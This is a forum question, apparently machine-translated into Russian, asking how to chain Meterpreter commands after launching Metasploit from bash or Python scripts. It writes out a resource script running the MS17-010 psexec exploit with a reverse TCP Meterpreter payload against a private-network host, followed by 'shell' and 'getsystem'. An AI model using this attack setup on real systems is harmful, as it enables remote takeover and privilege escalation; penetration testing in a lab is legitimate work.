Как выполнить команду в дочернем / дочернем процессе, используя сценарии bash / shell или сценарии python-shell - PullRequest
0 голосов
/ 11 июля 2019

Я хочу автоматизировать атаку (для некоторых целей тестирования), используя metasploit в kali linux.Команды Metasploit сохраняются в файле ms17-010.rc, и файл вызывается в скрипте, после чего следуют команды meterpreter.Я пробовал как скрипты bash (Attack_script.sh), так и скрипты python (test.py).Проблема:

После выполнения первой команды "msfconsole -r /root/ms17-010.rc" открывается первая консоль metasploit и выполняется команды, сохраненные в файле "ms17-010.rc".Затем консоль meterpreter получается на том же терминале, но она не выполняет оставшиеся команды, которые я хочу запустить на Meterpreter.Когда я выхожу из meterpreter и msfconsole, команды выполняются на терминале.

Проблема заключается в скриптах bash и python.Надеюсь, что мне ясно.Пожалуйста, помогите мне.

## Msf RC скрипт: ms17-010.rc ######


use exploit/windows/smb/ms17_010_psexec 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash скрипт: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python скрипт:test.py ######
from os import *

system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")
...